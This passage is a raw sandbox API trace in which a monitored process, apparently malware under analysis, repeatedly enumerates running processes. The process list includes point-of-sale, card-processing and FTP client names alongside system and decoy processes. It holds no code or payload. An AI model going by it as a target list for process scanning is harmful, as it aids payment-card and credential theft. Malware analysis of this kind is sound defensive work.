cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0268.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0268.272] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0268.274] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0268.277] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0268.279] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0268.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0268.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0268.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0268.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0268.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0268.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0268.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0268.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0268.300] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0268.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0268.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0268.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0268.309] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0268.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0268.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0268.352] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0268.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0268.357] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.362] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0268.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0268.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0268.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0268.371] CloseHandle (hObject=0x344) returned 1 [0268.371] Sleep (dwMilliseconds=0x64) [0268.443] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0268.455] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.522] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.526] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.528] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.530] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.531] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.535] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.538] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.540] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.542] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.545] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.548] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.550] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.552] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.602] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.604] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0268.607] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0268.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.612] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0268.614] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0268.616] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0268.618] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0268.622] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0268.623] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0268.625] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0268.626] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0268.628] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0268.629] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0268.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0268.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0268.634] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0268.636] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0268.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0268.640] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0268.642] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0268.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0268.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0268.697] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0268.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0268.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0268.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0268.703] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0268.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0268.706] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0268.707] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0268.709] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0268.711] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0268.713] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0268.715] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, 